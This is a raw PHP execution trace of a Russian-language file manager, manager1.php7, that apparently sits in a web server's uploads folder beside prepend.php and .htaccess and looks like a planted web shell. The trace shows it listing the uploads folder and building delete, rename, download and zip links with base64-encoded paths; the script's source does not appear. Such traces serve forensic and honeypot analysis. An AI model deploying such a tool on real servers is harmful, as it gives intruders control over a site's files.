2	44	0	0.005753	955128	__	1		/var/www/html/uploads/manager1.php7	1454	1	'Filename'
2	44	1	0.005766	955128
2	44	R			'Имя файла'
2	45	0	0.005780	955128	__	1		/var/www/html/uploads/manager1.php7	1455	1	'Size'
2	45	1	0.005793	955128
2	45	R			'Размер'
2	46	0	0.005807	955128	__	1		/var/www/html/uploads/manager1.php7	1456	1	'Date'
2	46	1	0.005820	955128
2	46	R			'Дата'
2	47	0	0.005833	955128	__	1		/var/www/html/uploads/manager1.php7	1457	1	'Rights'
2	47	1	0.005846	955128
2	47	R			'Права'
2	48	0	0.005860	955128	__	1		/var/www/html/uploads/manager1.php7	1458	1	'Manage'
2	48	1	0.005872	955128
2	48	R			'Управление'
2	49	0	0.005886	955128	fm_scan_dir	1		/var/www/html/uploads/manager1.php7	1463	4	'/var/www/html/uploads/'	''	'all'	TRUE
2		A						/var/www/html/uploads/manager1.php7	522	$ndir = []
2		A						/var/www/html/uploads/manager1.php7	522	$dir = []
3	50	0	0.005924	955128	is_dir	0		/var/www/html/uploads/manager1.php7	529	1	'/var/www/html/uploads/'
3	50	1	0.005944	955192
3	50	R			TRUE
3	51	0	0.005957	955152	opendir	0		/var/www/html/uploads/manager1.php7	530	1	'/var/www/html/uploads/'
3	51	1	0.005979	955544
3	51	R			resource(4) of type (stream)
2		A						/var/www/html/uploads/manager1.php7	530	$fh = resource(4) of type (stream)
3	52	0	0.006007	955512	readdir	0		/var/www/html/uploads/manager1.php7	531	1	resource(4) of type (stream)
3	52	1	0.006030	955584
3	52	R			'..'
2		A						/var/www/html/uploads/manager1.php7	531	$filename = '..'
3	53	0	0.006055	955544	substr	0		/var/www/html/uploads/manager1.php7	532	3	'..'	0	1
3	53	1	0.006069	955640
3	53	R			'.'
2		A						/var/www/html/uploads/manager1.php7	534	$dir[] = '..'
3	54	0	0.006095	955920	readdir	0		/var/www/html/uploads/manager1.php7	531	1	resource(4) of type (stream)
3	54	1	0.006109	956000
3	54	R			'manager1.php7'
2		A						/var/www/html/uploads/manager1.php7	531	$filename = 'manager1.php7'
3	55	0	0.006133	955960	substr	0		/var/www/html/uploads/manager1.php7	532	3	'manager1.php7'	0	1
3	55	1	0.006147	956056
3	55	R			'm'
2		A						/var/www/html/uploads/manager1.php7	534	$dir[] = 'manager1.php7'
3	56	0	0.006171	955960	readdir	0		/var/www/html/uploads/manager1.php7	531	1	resource(4) of type (stream)
3	56	1	0.006184	956032
3	56	R			'.'
2		A						/var/www/html/uploads/manager1.php7	531	$filename = '.'
3	57	0	0.006208	955992	substr	0		/var/www/html/uploads/manager1.php7	532	3	'.'	0	1
3	57	1	0.006221	956088
3	57	R			'.'
2		A						/var/www/html/uploads/manager1.php7	534	$dir[] = '.'
3	58	0	0.006244	955992	readdir	0		/var/www/html/uploads/manager1.php7	531	1	resource(4) of type (stream)
3	58	1	0.006262	956072
3	58	R			'prepend.php'
2		A						/var/www/html/uploads/manager1.php7	531	$filename = 'prepend.php'
3	59	0	0.006286	956032	substr	0		/var/www/html/uploads/manager1.php7	532	3	'prepend.php'	0	1
3	59	1	0.006300	956128
3	59	R			'p'
2		A						/var/www/html/uploads/manager1.php7	534	$dir[] = 'prepend.php'
3	60	0	0.006324	956032	readdir	0		/var/www/html/uploads/manager1.php7	531	1	resource(4) of type (stream)
3	60	1	0.006338	956104
3	60	R			'data'
2		A						/var/www/html/uploads/manager1.php7	531	$filename = 'data'
3	61	0	0.006362	956064	substr	0		/var/www/html/uploads/manager1.php7	532	3	'data'	0	1
3	61	1	0.006375	956160
3	61	R			'd'
2		A						/var/www/html/uploads/manager1.php7	534	$dir[] = 'data'
3	62	0	0.006398	956064	readdir	0		/var/www/html/uploads/manager1.php7	531	1	resource(4) of type (stream)
3	62	1	0.006412	956144
3	62	R			'.htaccess'
2		A						/var/www/html/uploads/manager1.php7	531	$filename = '.htaccess'
3	63	0	0.006436	956104	substr	0		/var/www/html/uploads/manager1.php7	532	3	'.htaccess'	0	1
3	63	1	0.006449	956200
3	63	R			'.'
2		A						/var/www/html/uploads/manager1.php7	534	$dir[] = '.htaccess'
3	64	0	0.006472	956104	readdir	0		/var/www/html/uploads/manager1.php7	531	1	resource(4) of type (stream)
3	64	1	0.006486	956144
3	64	R			FALSE
2		A						/var/www/html/uploads/manager1.php7	531	$filename = FALSE
3	65	0	0.006510	956104	closedir	0		/var/www/html/uploads/manager1.php7	538	1	resource(4) of type (stream)
3	65	1	0.006526	955920
3	65	R			NULL
3	66	0	0.006539	955904	natsort	0		/var/www/html/uploads/manager1.php7	539	1	[0 => '..', 1 => 'manager1.php7', 2 => '.', 3 => 'prepend.php', 4 => 'data', 5 => '.htaccess']
3	66	1	0.006560	955936
3	66	R			TRUE
2	49	1	0.006573	955856
2	49	R			[2 => '.', 0 => '..', 5 => '.htaccess', 4 => 'data', 1 => 'manager1.php7', 3 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php7	1463	$elements = [2 => '.', 0 => '..', 5 => '.htaccess', 4 => 'data', 1 => 'manager1.php7', 3 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php7	1464	$dirs = []
1		A						/var/www/html/uploads/manager1.php7	1465	$files = []
2	67	0	0.006631	955904	is_dir	0		/var/www/html/uploads/manager1.php7	1467	1	'/var/www/html/uploads/.'
2	67	1	0.006646	955944
2	67	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1468	$dirs[] = '.'
2	68	0	0.006670	956288	is_dir	0		/var/www/html/uploads/manager1.php7	1467	1	'/var/www/html/uploads/..'
2	68	1	0.006685	956336
2	68	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1468	$dirs[] = '..'
2	69	0	0.006708	956296	is_dir	0		/var/www/html/uploads/manager1.php7	1467	1	'/var/www/html/uploads/.htaccess'
2	69	1	0.006723	956336
2	69	R			FALSE
1		A						/var/www/html/uploads/manager1.php7	1470	$files[] = '.htaccess'
2	70	0	0.006748	956672	is_dir	0		/var/www/html/uploads/manager1.php7	1467	1	'/var/www/html/uploads/data'
2	70	1	0.006763	956712
2	70	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1468	$dirs[] = 'data'
2	71	0	0.006785	956680	is_dir	0		/var/www/html/uploads/manager1.php7	1467	1	'/var/www/html/uploads/manager1.php7'
2	71	1	0.006800	956728
2	71	R			FALSE
1		A						/var/www/html/uploads/manager1.php7	1470	$files[] = 'manager1.php7'
2	72	0	0.006824	956688	is_dir	0		/var/www/html/uploads/manager1.php7	1467	1	'/var/www/html/uploads/prepend.php'
2	72	1	0.006839	956728
2	72	R			FALSE
1		A						/var/www/html/uploads/manager1.php7	1470	$files[] = 'prepend.php'
2	73	0	0.006863	956648	natsort	0		/var/www/html/uploads/manager1.php7	1473	1	[0 => '.', 1 => '..', 2 => 'data']
2	73	1	0.006880	956680
2	73	R			TRUE
2	74	0	0.006892	956672	natsort	0		/var/www/html/uploads/manager1.php7	1473	1	[0 => '.htaccess', 1 => 'manager1.php7', 2 => 'prepend.php']
2	74	1	0.006909	956704
2	74	R			TRUE
2	75	0	0.006921	956672	array_merge	0		/var/www/html/uploads/manager1.php7	1474	2	[0 => '.', 1 => '..', 2 => 'data']	[0 => '.htaccess', 1 => 'manager1.php7', 2 => 'prepend.php']
2	75	1	0.006940	957112
2	75	R			[0 => '.', 1 => '..', 2 => 'data', 3 => '.htaccess', 4 => 'manager1.php7', 5 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php7	1474	$elements = [0 => '.', 1 => '..', 2 => 'data', 3 => '.htaccess', 4 => 'manager1.php7', 5 => 'prepend.php']
1		A						/var/www/html/uploads/manager1.php7	1477	$filename = '/var/www/html/uploads/.'
2	76	0	0.006992	956720	stat	0		/var/www/html/uploads/manager1.php7	1478	1	'/var/www/html/uploads/.'
2	76	1	0.007009	958496
2	76	R			[0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php7	1478	$filedata = [0 => 2049, 1 => 524475, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524475, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
2	77	0	0.007070	958456	is_dir	0		/var/www/html/uploads/manager1.php7	1479	1	'/var/www/html/uploads/.'
2	77	1	0.007083	958496
2	77	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1480	$filedata[7] = ''
2	78	0	0.007109	958536	__	1		/var/www/html/uploads/manager1.php7	1482	1	'Show'
2	78	1	0.007123	958536
2	78	R			'Показать'
1		A						/var/www/html/uploads/manager1.php7	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/." title="Показать ."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> .</a>'
2	79	0	0.007156	958616	fm_root	1		/var/www/html/uploads/manager1.php7	1483	1	'.'
2	79	1	0.007169	958616
2	79	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1483	$loadlink = ''
2	80	0	0.007193	958616	fm_root	1		/var/www/html/uploads/manager1.php7	1484	1	'.'
2	80	1	0.007206	958616
2	80	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1484	$arlink = ''
1		A						/var/www/html/uploads/manager1.php7	1485	$style = 'row2'
2	81	0	0.007239	958616	fm_root	1		/var/www/html/uploads/manager1.php7	1486	1	'.'
2	81	1	0.007252	958616
2	81	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1486	$alert = ''
2	82	0	0.007275	958616	fm_root	1		/var/www/html/uploads/manager1.php7	1503	1	'.'
2	82	1	0.007287	958616
2	82	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1503	$deletelink = ''
2	83	0	0.007310	958616	fm_root	1		/var/www/html/uploads/manager1.php7	1504	1	'.'
2	83	1	0.007322	958616
2	83	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1504	$renamelink = ''
1		A						/var/www/html/uploads/manager1.php7	1505	$rightstext = ''
2	84	0	0.007357	958616	gmdate	0		/var/www/html/uploads/manager1.php7	1510	2	'Y-m-d H:i:s'	1676246976
2	84	1	0.007373	958944
2	84	R			'2023-02-13 00:09:36'
1		A						/var/www/html/uploads/manager1.php7	1477	$filename = '/var/www/html/uploads/..'
2	85	0	0.007400	958624	stat	0		/var/www/html/uploads/manager1.php7	1478	1	'/var/www/html/uploads/..'
2	85	1	0.007417	960424
2	85	R			[0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php7	1478	$filedata = [0 => 2049, 1 => 524474, 2 => 16895, 3 => 3, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524474, 'mode' => 16895, 'nlink' => 3, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
2	86	0	0.007477	958632	is_dir	0		/var/www/html/uploads/manager1.php7	1479	1	'/var/www/html/uploads/..'
2	86	1	0.007490	958672
2	86	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1480	$filedata[7] = ''
2	87	0	0.007523	958728	__	1		/var/www/html/uploads/manager1.php7	1482	1	'Show'
2	87	1	0.007537	958728
2	87	R			'Показать'
1		A						/var/www/html/uploads/manager1.php7	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/.." title="Показать .."><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ..</a>'
2	88	0	0.007569	958664	fm_root	1		/var/www/html/uploads/manager1.php7	1483	1	'..'
2	88	1	0.007583	958664
2	88	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1483	$loadlink = ''
2	89	0	0.007606	958664	fm_root	1		/var/www/html/uploads/manager1.php7	1484	1	'..'
2	89	1	0.007619	958664
2	89	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1484	$arlink = ''
1		A						/var/www/html/uploads/manager1.php7	1485	$style = 'row2'
2	90	0	0.007652	958664	fm_root	1		/var/www/html/uploads/manager1.php7	1486	1	'..'
2	90	1	0.007665	958664
2	90	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1486	$alert = ''
2	91	0	0.007692	958664	fm_root	1		/var/www/html/uploads/manager1.php7	1503	1	'..'
2	91	1	0.007705	958664
2	91	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1503	$deletelink = ''
2	92	0	0.007727	958664	fm_root	1		/var/www/html/uploads/manager1.php7	1504	1	'..'
2	92	1	0.007740	958664
2	92	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1504	$renamelink = ''
1		A						/var/www/html/uploads/manager1.php7	1505	$rightstext = ''
2	93	0	0.007774	958664	gmdate	0		/var/www/html/uploads/manager1.php7	1510	2	'Y-m-d H:i:s'	1676246976
2	93	1	0.007789	958992
2	93	R			'2023-02-13 00:09:36'
1		A						/var/www/html/uploads/manager1.php7	1477	$filename = '/var/www/html/uploads/data'
2	94	0	0.007816	958664	stat	0		/var/www/html/uploads/manager1.php7	1478	1	'/var/www/html/uploads/data'
2	94	1	0.007842	960456
2	94	R			[0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php7	1478	$filedata = [0 => 2049, 1 => 524476, 2 => 16895, 3 => 2, 4 => 0, 5 => 0, 6 => 0, 7 => 4096, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524476, 'mode' => 16895, 'nlink' => 2, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 4096, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
2	95	0	0.007903	958664	is_dir	0		/var/www/html/uploads/manager1.php7	1479	1	'/var/www/html/uploads/data'
2	95	1	0.007917	958704
2	95	R			TRUE
1		A						/var/www/html/uploads/manager1.php7	1480	$filedata[7] = ''
2	96	0	0.007942	958760	__	1		/var/www/html/uploads/manager1.php7	1482	1	'Show'
2	96	1	0.007956	958760
2	96	R			'Показать'
1		A						/var/www/html/uploads/manager1.php7	1482	$link = '<a href="?fm=true&path=/var/www/html/uploads/data" title="Показать data"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> data</a>'
2	97	0	0.007988	958664	fm_root	1		/var/www/html/uploads/manager1.php7	1483	1	'data'
2	97	1	0.008001	958664
2	97	R			FALSE
2	98	0	0.008014	958664	__	1		/var/www/html/uploads/manager1.php7	1483	1	'Compress'
2	98	1	0.008027	958664
2	98	R			'Сжать'
2	99	0	0.008041	958712	__	1		/var/www/html/uploads/manager1.php7	1483	1	'Archiving'
2	99	1	0.008054	958712
2	99	R			'Архивировать'
2	100	0	0.008069	958768	fm_link	1		/var/www/html/uploads/manager1.php7	1483	4	'zip'	'/var/www/html/uploads/data'	'Сжать&nbsp;zip'	'Архивировать data'
3	101	0	0.008088	958824	base64_encode	0		/var/www/html/uploads/manager1.php7	546	1	'/var/www/html/uploads/data'
3	101	1	0.008102	958936
3	101	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	100	1	0.008119	958928
2	100	R			'&nbsp;&nbsp;<a href="?zip=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;zip</a>'
1		A						/var/www/html/uploads/manager1.php7	1483	$loadlink = '&nbsp;&nbsp;<a href="?zip=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;zip</a>'
2	102	0	0.008159	958824	fm_root	1		/var/www/html/uploads/manager1.php7	1484	1	'data'
2	102	1	0.008172	958824
2	102	R			FALSE
2	103	0	0.008185	958824	__	1		/var/www/html/uploads/manager1.php7	1484	1	'Compress'
2	103	1	0.008198	958824
2	103	R			'Сжать'
2	104	0	0.008212	958872	__	1		/var/www/html/uploads/manager1.php7	1484	1	'Archiving'
2	104	1	0.008225	958872
2	104	R			'Архивировать'
2	105	0	0.008240	958928	fm_link	1		/var/www/html/uploads/manager1.php7	1484	4	'gz'	'/var/www/html/uploads/data'	'Сжать&nbsp;.tar.gz'	'Архивировать data'
3	106	0	0.008257	958984	base64_encode	0		/var/www/html/uploads/manager1.php7	546	1	'/var/www/html/uploads/data'
3	106	1	0.008270	959096
3	106	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE='
2	105	1	0.008287	959088
2	105	R			'&nbsp;&nbsp;<a href="?gz=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php7	1484	$arlink = '&nbsp;&nbsp;<a href="?gz=L3Zhci93d3cvaHRtbC91cGxvYWRzL2RhdGE=" title="Архивировать data">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php7	1485	$style = 'row2'
2	107	0	0.008341	958984	fm_root	1		/var/www/html/uploads/manager1.php7	1486	1	'data'
2	107	1	0.008354	958984
2	107	R			FALSE
2	108	0	0.008368	958984	__	1		/var/www/html/uploads/manager1.php7	1486	1	'Are you sure you want to delete this directory (recursively)?'
2	108	1	0.008383	958984
2	108	R			'Вы уверены, что хотите удалить эту папку (рекурсивно)?'
1		A						/var/www/html/uploads/manager1.php7	1486	$alert = 'onClick="if(confirm(\'Вы уверены, что хотите удалить эту папку (рекурсивно)?\\n /data\')) document.location.href = \'?fm=true&delete=data&path=/var/www/html/uploads/\'"'
2	109	0	0.008425	959240	fm_root	1		/var/www/html/uploads/manager1.php7	1503	1	'data'
2	109	1	0.008437	959240
2	109	R			FALSE
2	110	0	0.008451	959240	__	1		/var/www/html/uploads/manager1.php7	1503	1	'Delete'
2	110	1	0.008503	959240
2	110	R			'Удалить'
2	111	0	0.008519	959560	__	1		/var/www/html/uploads/manager1.php7	1503	1	'Delete'
2	111	1	0.008532	959560
2	111	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php7	1503	$deletelink = '<a href="#" title="Удалить data" onClick="if(confirm(\'Вы уверены, что хотите удалить эту папку (рекурсивно)?\\n /data\')) document.location.href = \'?fm=true&delete=data&path=/var/www/html/uploads/\'">Удалить</a>'
2	112	0	0.008569	959560	fm_root	1		/var/www/html/uploads/manager1.php7	1504	1	'data'
2	112	1	0.008582	959560
2	112	R			FALSE
2	113	0	0.008595	959656	__	1		/var/www/html/uploads/manager1.php7	1504	1	'Rename'
2	113	1	0.008608	959656
2	113	R			'Переименовать'
2	114	0	0.008623	959688	__	1		/var/www/html/uploads/manager1.php7	1504	1	'Rename'
2	114	1	0.008636	959688
2	114	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php7	1504	$renamelink = '<a href="?fm=true&rename=data&path=/var/www/html/uploads/" title="Переименовать data">Переименовать</a>'
2	115	0	0.008667	959816	__	1		/var/www/html/uploads/manager1.php7	1505	1	'Rights'
2	115	1	0.008680	959816
2	115	R			'Права'
2	116	0	0.008695	959832	fm_rights_string	1		/var/www/html/uploads/manager1.php7	1505	2	'/var/www/html/uploads/data'	???
3	117	0	0.008709	959832	fileperms	0		/var/www/html/uploads/manager1.php7	393	1	'/var/www/html/uploads/data'
3	117	1	0.008722	959872
3	117	R			16895
2		A						/var/www/html/uploads/manager1.php7	393	$perms = 16895
2		A						/var/www/html/uploads/manager1.php7	394	$info = ''
2		A						/var/www/html/uploads/manager1.php7	410	$info = 'd'
2		A						/var/www/html/uploads/manager1.php7	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php7	428	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php7	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	432	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php7	435	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php7	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	439	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php7	442	$info .= 'x'
2	116	1	0.008857	959872
2	116	R			'drwxrwxrwx'
1		A						/var/www/html/uploads/manager1.php7	1505	$rightstext = '<a href="?fm=true&rights=data&path=/var/www/html/uploads/" title="Права data">drwxrwxrwx</a>'
2	118	0	0.008888	959848	gmdate	0		/var/www/html/uploads/manager1.php7	1510	2	'Y-m-d H:i:s'	1676246976
2	118	1	0.008903	960176
2	118	R			'2023-02-13 00:09:36'
1		A						/var/www/html/uploads/manager1.php7	1477	$filename = '/var/www/html/uploads/.htaccess'
2	119	0	0.009048	959848	stat	0		/var/www/html/uploads/manager1.php7	1478	1	'/var/www/html/uploads/.htaccess'
2	119	1	0.009066	961640
2	119	R			[0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php7	1478	$filedata = [0 => 2049, 1 => 524478, 2 => 33188, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 64, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524478, 'mode' => 33188, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 64, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
2	120	0	0.009128	959848	is_dir	0		/var/www/html/uploads/manager1.php7	1479	1	'/var/www/html/uploads/.htaccess'
2	120	1	0.009146	959888
2	120	R			FALSE
2	121	0	0.009160	959848	getimagesize	0		/var/www/html/uploads/manager1.php7	1489	1	'/var/www/html/uploads/.htaccess'
2	121	1	0.009195	959888
2	121	R			FALSE
2	122	0	0.009210	959944	__	1		/var/www/html/uploads/manager1.php7	1493	1	'Edit'
2	122	1	0.009224	959944
2	122	R			'Редактировать'
1		A						/var/www/html/uploads/manager1.php7	1493	$link = '<a href="?fm=true&edit=.htaccess&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> .htaccess</a>'
2	123	0	0.009257	959848	explode	0		/var/www/html/uploads/manager1.php7	1494	2	'.'	'.htaccess'
2	123	1	0.009272	960336
2	123	R			[0 => '', 1 => 'htaccess']
1		A						/var/www/html/uploads/manager1.php7	1494	$e_arr = [0 => '', 1 => 'htaccess']
2	124	0	0.009300	960288	end	0		/var/www/html/uploads/manager1.php7	1495	1	[0 => '', 1 => 'htaccess']
2	124	1	0.009314	960320
2	124	R			'htaccess'
1		A						/var/www/html/uploads/manager1.php7	1495	$ext = 'htaccess'
2	125	0	0.009339	960288	__	1		/var/www/html/uploads/manager1.php7	1496	1	'Download'
2	125	1	0.009353	960288
2	125	R			'Скачать'
2	126	0	0.009367	960288	__	1		/var/www/html/uploads/manager1.php7	1496	1	'Download'
2	126	1	0.009381	960288
2	126	R			'Скачать'
2	127	0	0.009395	960344	fm_link	1		/var/www/html/uploads/manager1.php7	1496	4	'download'	'/var/www/html/uploads/.htaccess'	'Скачать'	'Скачать .htaccess'
3	128	0	0.009412	960400	base64_encode	0		/var/www/html/uploads/manager1.php7	546	1	'/var/www/html/uploads/.htaccess'
3	128	1	0.009425	960512
3	128	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	127	1	0.009443	960504
2	127	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Скачать .htaccess">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php7	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Скачать .htaccess">Скачать</a>'
2	129	0	0.009483	960288	fm_root	1		/var/www/html/uploads/manager1.php7	1499	1	'.htaccess'
2	129	1	0.009496	960288
2	129	R			FALSE
2	130	0	0.009510	960288	__	1		/var/www/html/uploads/manager1.php7	1499	1	'Compress'
2	130	1	0.009523	960288
2	130	R			'Сжать'
2	131	0	0.009537	960336	__	1		/var/www/html/uploads/manager1.php7	1499	1	'Archiving'
2	131	1	0.009550	960336
2	131	R			'Архивировать'
2	132	0	0.009565	960400	fm_link	1		/var/www/html/uploads/manager1.php7	1499	4	'gzfile'	'/var/www/html/uploads/.htaccess'	'Сжать&nbsp;.tar.gz'	'Архивировать .htaccess'
3	133	0	0.009583	960456	base64_encode	0		/var/www/html/uploads/manager1.php7	546	1	'/var/www/html/uploads/.htaccess'
3	133	1	0.009597	960568
3	133	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw=='
2	132	1	0.009614	960592
2	132	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Архивировать .htaccess">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php7	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzLy5odGFjY2Vzcw==" title="Архивировать .htaccess">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php7	1500	$style = 'row1'
2	134	0	0.009666	960320	__	1		/var/www/html/uploads/manager1.php7	1501	1	'File selected'
2	134	1	0.009679	960320
2	134	R			'Выбран файл'
2	135	0	0.009695	960416	__	1		/var/www/html/uploads/manager1.php7	1501	1	'Are you sure you want to delete this file?'
2	135	1	0.009710	960416
2	135	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php7	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\n.htaccess. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=.htaccess&path=/var/www/html/uploads/\'"'
2	136	0	0.009750	960320	fm_root	1		/var/www/html/uploads/manager1.php7	1503	1	'.htaccess'
2	136	1	0.009763	960320
2	136	R			FALSE
2	137	0	0.009776	960320	__	1		/var/www/html/uploads/manager1.php7	1503	1	'Delete'
2	137	1	0.009794	960320
2	137	R			'Удалить'
2	138	0	0.009809	960640	__	1		/var/www/html/uploads/manager1.php7	1503	1	'Delete'
2	138	1	0.009821	960640
2	138	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php7	1503	$deletelink = '<a href="#" title="Удалить .htaccess" onClick="if(confirm(\'Выбран файл: \\n.htaccess. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=.htaccess&path=/var/www/html/uploads/\'">Удалить</a>'
2	139	0	0.009859	960320	fm_root	1		/var/www/html/uploads/manager1.php7	1504	1	'.htaccess'
2	139	1	0.009872	960320
2	139	R			FALSE
2	140	0	0.009886	960416	__	1		/var/www/html/uploads/manager1.php7	1504	1	'Rename'
2	140	1	0.009899	960416
2	140	R			'Переименовать'
2	141	0	0.009914	960480	__	1		/var/www/html/uploads/manager1.php7	1504	1	'Rename'
2	141	1	0.009927	960480
2	141	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php7	1504	$renamelink = '<a href="?fm=true&rename=.htaccess&path=/var/www/html/uploads/" title="Переименовать .htaccess">Переименовать</a>'
2	142	0	0.009959	960448	__	1		/var/www/html/uploads/manager1.php7	1505	1	'Rights'
2	142	1	0.009972	960448
2	142	R			'Права'
2	143	0	0.009986	960480	fm_rights_string	1		/var/www/html/uploads/manager1.php7	1505	2	'/var/www/html/uploads/.htaccess'	???
3	144	0	0.010000	960480	fileperms	0		/var/www/html/uploads/manager1.php7	393	1	'/var/www/html/uploads/.htaccess'
3	144	1	0.010013	960520
3	144	R			33188
2		A						/var/www/html/uploads/manager1.php7	393	$perms = 33188
2		A						/var/www/html/uploads/manager1.php7	394	$info = ''
2		A						/var/www/html/uploads/manager1.php7	404	$info = '-'
